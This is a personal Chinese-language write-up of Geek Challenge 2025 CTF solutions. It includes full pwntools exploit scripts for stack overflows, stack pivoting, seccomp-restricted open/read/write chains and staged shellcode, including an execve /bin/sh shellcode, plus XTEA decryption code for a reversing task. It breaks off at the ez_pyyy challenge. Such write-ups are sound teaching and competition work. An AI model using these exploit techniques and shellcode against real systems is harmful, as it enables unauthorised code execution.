Featured image of post Geek Challenge 2025 WP

Geek Challenge 2025 WP


这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写,写的烂,就当参考吧,可能有很多地方不严谨或有误 还请各位大佬指教

PWN

old_rop

解题流程

查保护 alt text 查伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF

  write(1, "Hello, World\n", 0xDuLL);
  strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
  write(1, buf, 0x4DuLL);
  write(1, "\n", 1uLL);
  sub_401156(1LL);
  return 0LL;
}
1
2
3
4
5
6
ssize_t sub_401156()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

在sub_401156有一个明显栈溢出,没有后门函数,打libc,得先泄露libc基址,用write打印即可,但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些,然后正常写rop链即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
# io = process('./pwn')
io = remote('geek.ctfplus.cn',32696)
libc = ELF("./libc/libc.so.6")  
elf = ELF("./pwnt") 

write_got = elf.got['write']
write_plt = elf.plt['write']

pop_rdi = 0x00000000004012d3
ret_addr = 0x000000000040101a 
read_addr = 0x0000000000401156
pop_rsi_r15 = 0x00000000004012d1

line = io.recvline()
print(line)
line = io.recvline()
print(line)

payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr)
io.sendline(payleak)

leaked_data = io.recv(0x200)
write_addr = u64(leaked_data[0:8])
print(f"Leaked write address: {hex(write_addr)}")
libc_base = write_addr - libc.symbols['write']
print(f"Libc base: {hex(libc_base)}")

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
print("system:",hex(system_addr))
print("binsh:",hex(binsh_addr))

payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline (payload)

io.interactive()

Mission Calculator

解题流程

这题不用查保护,就是一个单纯的计算题,直接写一个for全算出来发回去就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
# io = process('./calc')
io = remote("geek.ctfplus.cn",31128)


line = io.recvuntil(b'...').decode()
io.sendline()
for i in range(50):
    line = io.recvuntil(b':').decode()
    calc = io.recvuntil(b'=').decode().replace('=','')
    print(calc)
    result = eval(calc)
    print(result)
    io.sendline(str(result))

io.interactive()

Mission Cipher Text

解题流程

查保护 alt text 查伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  menu();
  v4 = readchoice();
  if ( v4 == 1 )
  {
    output_history();
  }
  else
  {
    if ( v4 != 2 )
      exit(0);
    submit_feedback();
  }
  return 0;
}
1
2
3
4
5
6
7
int readchoice()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  read(0, buf, 8uLL);
  return atoi(buf);
}
1
2
3
4
5
6
7
8
9
size_t submit_feedback()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please enter your feedback:");
  close(1);
  read(0, buf, 0x100uLL);
  return fwrite("\x1B[1m\x1B[95mwe are here waiting for you\x1B[0m\n", 1uLL, 0x29uLL, stderr);
}
1
2
3
4
int b4ckd00r()
{
  return system("/bin/sh");
}

有后门函数,可以ret2text,先到submit_feedback函数里构造溢出然后ret到后门函数,但是注意到submit_feedback里执行了

1
close(1)

关闭了标准输出,还得手动打开

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
# io = process('./text')
io = remote('geek.ctfplus.cn',31370)

backdoor_addr = 0x00000000004014AF
ret_addr = 0x000000000040101a

line = io.recvuntil(b'choice >').decode()
io.sendline('2')
io.recvline()

payload = cyclic(0x28) + p64(ret_addr) + p64(backdoor_addr)
io.sendline(payload)
io.sendline(b"exec >&2")
line = io.recvline()
print(line)

io.interactive()

Mission Exception Registration

解题流程

查保护 alt text 查伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int Input; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  user_init();
  while ( 1 )
  {
    menu();
    Input = read_int();
    if ( Input == 4 )
      exit(0);
    if ( Input > 4 )
    {
LABEL_13:
      puts("Invalid choice.");
    }
    else if ( Input == 3 )
    {
      view_resources();
    }
    else
    {
      if ( Input > 3 )
        goto LABEL_13;
      if ( Input == 1 )
      {
        register_user();
      }
      else
      {
        if ( Input != 2 )
          goto LABEL_13;
        submit_feedback();
      }
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void *user_init()
{
  void *result; // rax

  *((_DWORD *)ptr + 12) = -1;
  *((_DWORD *)ptr + 13) = 0;
  memset(ptr, 0, 0x10uLL);
  memset((char *)ptr + 16, 0, 0x20uLL);
  result = ptr;
  *((_QWORD *)ptr + 7) = 0LL;
  return result;
}
1
2
3
4
5
6
7
int read_int()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  read(0, buf, 8uLL);
  return atoi(buf);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
ssize_t view_resources()
{
  login();
  if ( *((_DWORD *)ptr + 12) )
  {
    puts("WELCOME, USER.");
    return write(1, &ptr, 8uLL);
  }
  else
  {
    puts(
      "Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as"
      " a model to successfully create an independent personality matrix from scratch. This would be a great technologica"
      "l advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu"
      "ating the risks of this technology.");
    puts("WELCOME, ADMINISTRATOR.");
    return write(1, (char *)ptr + 56, 8uLL);
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int register_user()
{
  if ( *((_DWORD *)ptr + 12) != -1 )
    return puts("You have already registered.");
  *((_DWORD *)ptr + 12) = 2;
  puts("Please enter your name:");
  read(0, ptr, 0x10uLL);
  puts("Please enter your password:");
  read(0, (char *)ptr + 16, 0x28uLL);
  *((_DWORD *)ptr + 13) = 1;
  *((_QWORD *)ptr + 7) = &puts;
  return puts("Registration successful.");
}
1
2
3
4
5
6
7
int submit_feedback()
{
  if ( *((_DWORD *)ptr + 12) == -1 )
    return puts("Please register first.");
  else
    return input();
}
1
2
3
4
5
6
7
8
int input()
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("Please enter your feedback:");
  read(0, buf, 0x100uLL);
  return puts("Feedback submitted.");
}

没有后门函数,打libc,先泄露libc基址,在view_resources里,当用户状态是管理员时可以write(1, (char )ptr + 56, 8uLL); 但这个地方事实上存着((_QWORD )ptr + 7) = &puts;也就是puts的地址,在注册时,((_DWORD *)ptr + 13) = 1;存着注册状态,如果此处不为0,则是普通用户,修改为0即可,在read(0, (char *)ptr + 16, 0x28uLL);明显可以覆盖到注册状态,然后计算libc基址打libc即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
# context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])

# io = process('./pwn')
io = remote('geek.ctfplus.cn',32070)

libc = ELF("./libc.so.6")
elf = ELF("./pwn") 

pop_rdi_addr = 0x000000000002a3e5
ret_addr = 0x0000000000029cd6

io.recvuntil(b'Your choice >>').decode()
io.sendline(b'1')
io.sendafter(b'name:', b'A' * 16)

password_payload = b'A' * 31 + b'\x00' + p32(0) + p32(0)
io.sendafter(b'password:', password_payload)

io.recvuntil(b'Your choice >>').decode()
io.sendline(b'3')
io.recvuntil(b'password:')
io.send(b'A' * 31 + b'\x00')
io.recvuntil(b'ADMINISTRATOR.\n')
leak = io.recv(8)
puts_addr = u64(leak)
log.info(f"Leaked puts address: {hex(puts_addr)}")

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_addr = libc_base + pop_rdi_addr
ret_addr = libc_base + ret_addr
log.info(f"Libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
log.info(f"pop rdi; ret address: {hex(pop_rdi_addr)}")
log.info(f"ret address: {hex(ret_addr)}")

io.sendline(b'2')
io.recvline()
payload = cyclic(0x18) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)

io.interactive()

次元囚笼

解题流程

查保护 alt text 查伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int Input; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &Input);
      if ( Input != 3 )
        break;
      love_me();
    }
    if ( Input <= 3 )
    {
      if ( Input == 1 )
      {
        miss_me();
      }
      else if ( Input == 2 )
      {
        abandon_me();
      }
    }
  }
}
1
2
3
4
5
ssize_t love_me()
{
  puts("give me your love ");
  return read(0, buffer, 0x32uLL);
}
1
2
3
4
5
6
7
8
int abandon_me()
{
  _BYTE buf[512]; // [rsp+0h] [rbp-200h] BYREF

  printf("Is this necessary? That's my prayer");
  read(0, buf, 0x200uLL);
  return leave();
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int leave()
{
  char dest[32]; // [rsp+0h] [rbp-20h] BYREF

  strcpy(dest, buffer);
  if ( strcmp(dest, "love") )
    return puts("it's all of you");
  puts("yes I wait for you forever");
  return read(0, buffer, 0x100uLL);
}
1
2
3
4
5
6
int Backdoor()
{
  puts("I know you pretend to love me , but this's enough");
  puts("I leave something you want,and Farewell");
  return system("/bin/sh");
}

有后门函数,但没有直接的溢出,但love_me输入到buffer可以在leave处被复制到dest上产生溢出,直接ret2text即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
# io = process('./cyql')
io = remote('geek.ctfplus.cn',32015)

backdoor_addr = 0x00000000004012D9

io.recvuntil(b'cin >> :')
io.sendline(b'3')
io.recvuntil(b'give me your love')

payload = cyclic(0x28) + p64(backdoor_addr)
io.sendline(payload)

io.sendlineafter(b'cin >> :', b'2')
io.sendafter(b'Is this necessary? That\'s my prayer', b'B' * 512)

io.interactive()

Mission Transponder

解题流程

查保护 alt text 查伪代码

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  tip();
  repeater();
  return 0;
}
1
2
3
4
5
6
7
__int64 init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return sandbox();
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init failed");
    exit(1);
  }
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  if ( (unsigned int)seccomp_load(v1) )
  {
    perror("seccomp_load failed");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}
1
2
3
4
5
6
int tip()
{
  puts("\x1B[1;31m[!]The transponder couldn't connect to the ES node!\x1B[0m");
  puts("\x1B[3mOur company's purpose is to serve the happiness of all mankind\x1B[0m");
  return puts("Switching to debug mode...");
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned __int64 repeater()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("data:");
  read(0, buf, 0x40uLL);                        // leak canary
  printf("%s", buf);
  puts("logs:");
  read(0, buf, 0x200uLL);                       // stack overflow
  return v2 - __readfsqword(0x28u);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
unsigned __int64 repeat_error()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("data:");
  read(0, buf, 8uLL);
  printf(buf);
  read(0, buf, 0x20uLL);
  return v2 - __readfsqword(0x28u);
}

首先这个题保护开的很满,还有sandbox 现在repeater里的printf泄露canary和rbp的值,然后下一次read的时候覆盖rbp为原本rbp+0x30的地方 这里把栈迁移过去,可以用之前泄露canary相同的方法泄露main的地址 alt text 再局部覆写返回地址的低字节回到偏移0x1408的地方再跑一遍repeater alt text 然后再栈迁移一次rbp到stderr@GLIBC_2.2.5+0x30的地址那里,让printf泄露地址并算出libc基址 alt text 接下来就是libc的orw了

虽然这里其实可以用repeat_error的格式化字符串漏洞,能简单很多,但是看了篇栈迁移的例题和这里很相似,就用了稍微难一点的方法了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
context.arch='amd64'

io=process('./pwn')
# io=remote('geek.ctfplus.cn',32614)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

io.sendlineafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
canary=u64(io.recv(8))-0xa
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))+0x30

# gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stack_addr)+b'\x08'
io.sendafter('logs:\n',padding)

io.sendafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
base=u64(io.recv(6).ljust(8,b'\x00'))-0x1484

syscall_ret=base+0x11DD
stderr=base+0x40a0
main=base+0x1408

gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stderr+0x30)+p64(main)
io.sendafter('logs:\n',padding)
io.sendafter('data:\n',b'\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x20a40a

open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
stderr_addr=libc_base+0x20a4e0
pop_rdi=libc_base+0x0000000000102dea
pop_rsi=libc_base+0x0000000000053887
pop_rdx_xor_eax_eax=libc_base+0x00000000000d77bd
rax=libc_base+0x00000000000d4f97
flag_addr=stderr+0xd0
padding=p64(stderr_addr)+b'a'*0x20+p64(canary)+p64(stderr+0x30)
padding+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall_ret)
padding+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stderr+0x200)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(read_addr)
padding+=p64(pop_rdi)+p64(1)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(write_addr)
padding+=b'./flag\x00'
io.sendafter('logs:\n',padding)

io.interactive()

Mission Ember

解题流程

查保护 alt text 查伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 my_heart()
{
  void *s; // [rsp+8h] [rbp-8h]

  puts("\x1B[1mTry contacting Geek HQ\x1B[0m");
  s = mmap((void *)0x405000, 0x4000uLL, 7, 34, -1, 0LL);
  memset(s, 144, 0x4000uLL);
  Sandbox();
  read(0, s, 6uLL);
  return ((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))s)(0LL, 0LL, 0LL);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 Sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init failed");
    exit(1);
  }
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  if ( (unsigned int)seccomp_load(v1) )
  {
    perror("seccomp_load failed");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}

开了沙箱,没办法直接sh,只能orw,但是mmap了一块rwx区域,在0x405000,大小0x4000,并读入6个字节,最后会执行读入的指令,也就是说我们需要在六个字节里实现扩展写并写入完整的shellcode. 在call r8的地方下断点,查看栈和寄存器 alt text alt text 此处需要设置扩展写需要syscall一次read,设置参数rax为0,rdi为0,rsi到刚刚mmap的rwx区域,rdx为一个很大的数,大到足够写下orw的shellcode,但是这里其实随便放进去个数就行,都够用, 但是通过mov等指令长度明显太大了,所以得使用pop用栈上的数据,但最后只有一个字节设置rax为0 此处的考点就是xchg,当xchg eax寄存器和其他寄存器时,对应的指令只有一个字节 所以可以写出shellcode

1
\x5A\x59\x5E\x93\x0F\x05

四个字节用于设置寄存器,两个字节syscall刚好足够

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
# context.log_level='debug'
context.arch='amd64'
# io=process('./pwn')
io=remote('geek.ctfplus.cn',32321)

# gdb.attach(io)
shellcode=b"\x5A\x59\x5E\x93\x0F\x05"

shellcode2=b'a'*6+asm(shellcraft.open('./flag')+shellcraft.read(3,0x406000,0x100)+shellcraft.write(1,0x406000,0x100))
# gdb.attach(io)
# pause()

io.send(shellcode)
io.sendline(shellcode2)
io.interactive()

血池轮回

解题流程

查保护 alt text 查伪代码

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  loop();
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall loop()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-1Ch]
  __int64 v3; // [rsp+8h] [rbp-18h]

  make_code_executable((unsigned __int64)&code, 32LL);
  for ( i = 0; i <= 99; ++i )
  {
    if ( idx > 9 )
    {
      puts("Your blood is completely soaked in the pool of blood");
      return 0LL;
    }
    printf("this is already %d days loop,do you want to give up ? ", idx);
    if ( (int)read(0, &code, 1uLL) <= 0 )
      break;
    v3 = code;
    if ( code == 121LL )
    {
      puts("wise choice, but no encouragement");
      return v3;
    }
    ++idx;
    printf("Blood Pool Reincarnation Start !");
    read(0, &unk_4040A1, 5uLL);
    v3 = v0;
    ((void (__fastcall *)(__int64, _QWORD, _QWORD))(&code + 1))(1LL, 0LL, 0LL);
  }
  return v3;
}
1
2
3
4
5
6
void init()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
}

看一眼loop里,和上一个ember差不多,也是扩展写,但完整的shellcode长度也有限 alt text 所以直接五字节扩展写+短shellcode alt text 在call rcx处断点,查看栈,仍然可以利用栈上的数据设置寄存器 所以得到shellcode

1
\x96\x5a\x5f\x0f\x05

然后扩展写,因为总空间有限,直接用shellcraft写的shellcode会太长,所以直接掏出22字节超短shellcode

1
\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05

甚至还剩一点空间

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
# context(arch='amd64',os='linux',log_level='debug')
# io = process('./pwn')
io = remote('geek.ctfplus.cn',31973)

line = io.recvline(timeout = 1)
print(line)
io.sendline()
io.recvline(timeout = 2)

sh_shellcode = cyclic(0x05) + b'\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05'
ex_shellcode = b'\x96\x5a\x5f\x0f\x05'

# gdb.attach(io)
io.send(ex_shellcode)

io.send(sh_shellcode)

io.interactive()

RE

encode

解题流程

打开ida查看伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [xsp+0h] [xbp-220h]
  char v5[256]; // [xsp+8h] [xbp-218h] BYREF
  char v6[256]; // [xsp+108h] [xbp-118h] BYREF

  puts("please input: ");
  scanf(v6, 256LL);
  for ( i = 0; i < encrypted_len; ++i )
    v5[i] = v6[i] ^ 0x5A;
  compare(v5, (unsigned int)encrypted_len);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int scanf(const char *a1, ...)
{
  int v1; // w1
  __int64 v2; // x10
  bool v4; // [xsp+10h] [xbp-140h]
  bool v5; // [xsp+14h] [xbp-13Ch]
  int i; // [xsp+18h] [xbp-138h]
  int v7; // [xsp+1Ch] [xbp-134h]
  int v8; // [xsp+20h] [xbp-130h]
  int v9; // [xsp+24h] [xbp-12Ch]
  _BYTE v12[256]; // [xsp+38h] [xbp-118h] BYREF

  v9 = v1;
  v7 = 0;
  do
    v8 = getchar();
  while ( v8 != -1 && (v8 == 32 || v8 == 9 || v8 == 10 || v8 == 13) );
  if ( v8 == -1 )
    return 0;
  while ( 1 )
  {
    v5 = 0;
    if ( v8 != -1 )
    {
      v5 = 0;
      if ( v8 != 32 )
      {
        v5 = 0;
        if ( v8 != 9 )
        {
          v5 = 0;
          if ( v8 != 10 )
          {
            v5 = 0;
            if ( v8 != 13 )
              v5 = v7 < v9 - 1;
          }
        }
      }
    }
    if ( !v5 )
      break;
    v2 = v7++;
    a1[v2] = v8;
    v8 = getchar();
  }
  a1[v7] = 0;
  encrypted_len = enc(a1, (unsigned int)v7, v12);
  for ( i = 0; ; ++i )
  {
    v4 = 0;
    if ( i < encrypted_len )
      v4 = i < v9;
    if ( !v4 )
      break;
    a1[i] = v12[i];
  }
  return v7;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall enc(__int64 a1, int a2, __int64 a3)
{
  signed int v4; // [xsp+10h] [xbp-140h]
  int v5; // [xsp+14h] [xbp-13Ch]
  int m; // [xsp+18h] [xbp-138h]
  int i; // [xsp+1Ch] [xbp-134h]
  int j; // [xsp+1Ch] [xbp-134h]
  int k; // [xsp+1Ch] [xbp-134h]
  _BYTE v11[256]; // [xsp+38h] [xbp-118h]

  v5 = 8 - a2 % 8;
  v4 = a2 + v5;
  for ( i = 0; i < a2; ++i )
    v11[i] = *(_BYTE *)(a1 + i);
  for ( j = a2; j < v4; ++j )
    v11[j] = v5;
  for ( k = 0; k < v4; k += 8 )
  {
    for ( m = 0; m < 8; ++m )
      *(_BYTE *)(a3 + k + m) = v11[k + m];
    enc_block(a3 + k, &a);
  }
  return (unsigned int)v4;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall enc_block(__int64 result, __int64 a2)
{
  int i; // [xsp+4h] [xbp-3Ch]
  int j; // [xsp+4h] [xbp-3Ch]
  unsigned int v4; // [xsp+8h] [xbp-38h]
  unsigned int v5; // [xsp+10h] [xbp-30h]
  unsigned int v6; // [xsp+14h] [xbp-2Ch]
  _DWORD v7[4]; // [xsp+28h] [xbp-18h]

  v4 = 0;
  v6 = _byteswap_ulong(*(_DWORD *)result);
  v5 = _byteswap_ulong(*(_DWORD *)(result + 4));
  for ( i = 0; i < 4; ++i )
    v7[i] = (*(unsigned __int8 *)(a2 + 4 * i + 1) << 16) | (*(unsigned __int8 *)(a2 + 4 * i) << 24) | (*(unsigned __int8 *)(a2 + 4 * i + 2) << 8) | *(unsigned __int8 *)(a2 + 4 * i + 3);
  for ( j = 0; j < 32; ++j )
  {
    v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v4 + v7[v4 & 3]);
    v4 -= 1640531527;
    v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v4 + v7[(v4 >> 11) & 3]);
  }
  *(_BYTE *)result = HIBYTE(v6);
  *(_BYTE *)(result + 1) = BYTE2(v6);
  *(_BYTE *)(result + 2) = BYTE1(v6);
  *(_BYTE *)(result + 3) = v6;
  *(_BYTE *)(result + 4) = HIBYTE(v5);
  *(_BYTE *)(result + 5) = BYTE2(v5);
  *(_BYTE *)(result + 6) = BYTE1(v5);
  *(_BYTE *)(result + 7) = v5;
  return result;
}

首先main里面的scanf并不是真的scanf,里面有套娃,先在这个假的scanf里去除一些特殊字符后到enc里, 然后分块,并从&a处得到key

1
geek2025reverse!

然后enc_block里分别加密,是一个轮数为32的XTEA 最后将加密得到的密文与每位分别与0x5a异或,然后base64后与&unk_100003EF1处保存的密文比较

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void dec_block(uint8_t *block, const uint32_t *key) {
    uint32_t v4 = 0xC6EF3720; // 32 * 0x9E3779B9的补码
    uint32_t v6, v5;
    
    v6 = (block[0] << 24) | (block[1] << 16) | (block[2] << 8) | block[3];
    v5 = (block[4] << 24) | (block[5] << 16) | (block[6] << 8) | block[7];
    
    for (int j = 0; j < 32; ++j) {
        v5 -= (((v6 >> 5) ^ (v6 << 4)) + v6) ^ (v4 + key[(v4 >> 11) & 3]);
        v4 += 0x61C88647; // 0x9E3779B9的补码
        v6 -= (((v5 >> 5) ^ (v5 << 4)) + v5) ^ (v4 + key[v4 & 3]);
    }
    
    block[0] = (v6 >> 24) & 0xFF;
    block[1] = (v6 >> 16) & 0xFF;
    block[2] = (v6 >> 8) & 0xFF;
    block[3] = v6 & 0xFF;
    block[4] = (v5 >> 24) & 0xFF;
    block[5] = (v5 >> 16) & 0xFF;
    block[6] = (v5 >> 8) & 0xFF;
    block[7] = v5 & 0xFF;
}

void expand_key(const char *key_str, uint32_t *expanded_key) {
    for (int i = 0; i < 4; ++i) {
        expanded_key[i] = ((uint8_t)key_str[4 * i] << 24) |
                         ((uint8_t)key_str[4 * i + 1] << 16) |
                         ((uint8_t)key_str[4 * i + 2] << 8) |
                         (uint8_t)key_str[4 * i + 3];
    }
}

int decrypt_data(const uint8_t *encrypted_data, int encrypted_len, 
                 const char *key_str, uint8_t *decrypted_data) {
   
    uint32_t expanded_key[4];
    expand_key(key_str, expanded_key);
    
    uint8_t *temp_buffer = (uint8_t *)malloc(encrypted_len);
    memcpy(temp_buffer, encrypted_data, encrypted_len);
    
    for (int k = 0; k < encrypted_len; k += 8) {
        dec_block(temp_buffer + k, expanded_key);
    }
    
    int padding = temp_buffer[encrypted_len - 1];
    if (padding < 1 || padding > 8) {
        printf("Error: Invalid padding\n");
        free(temp_buffer);
        return -1;
    }
        
    int original_len = encrypted_len - padding;
    memcpy(decrypted_data, temp_buffer, original_len);
    
    free(temp_buffer);
    return original_len;
}

int main() {
    const char *key = "geek2025reverse!";
    uint8_t encrypted_data[] = {
0xE6, 0x46, 0x8D, 0x85, 0x18, 0xF2, 0x9C, 0x07, 0x9D, 0xFE, 0x6C, 0xC2, 0x32, 0x08, 0x10, 0xDD, 0x7A, 0x25, 0x8F, 0x93, 0x74, 0x0E, 0x73, 0x86, 0xB9, 0x5C, 0x3B, 0xF5, 0x5F, 0x4C, 0x22, 0x81, 0xC3, 0xCA, 0x56, 0x31, 0xA3, 0x53, 0xA3, 0x0B, 0xFC, 0x41, 0xFC, 0xA6, 0xFC, 0xC2, 0x70, 0xBE
    };
    int encrypted_len = sizeof(encrypted_data);
    
    uint8_t *decrypted_data = (uint8_t *)malloc(encrypted_len);

    int decrypted_len = decrypt_data(encrypted_data, encrypted_len, key, decrypted_data);
    
    if (decrypted_len > 0) {
        printf("Output:");
        for (int i = 0; i < decrypted_len; ++i) {
            printf("%c", decrypted_data[i]);
        }
    }
    
    free(decrypted_data);
    return 0;
}

flag

1
SYC{St4nd4rd_Funct10n_N0t_4lw4ys_St4nd4rd}

ez_pyyy

解题流程

直接把pyc文件还原成py文件得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 太好了是python糕手我们有救了.py
# Bytecode version: 3.8.0rc1+ (3413)
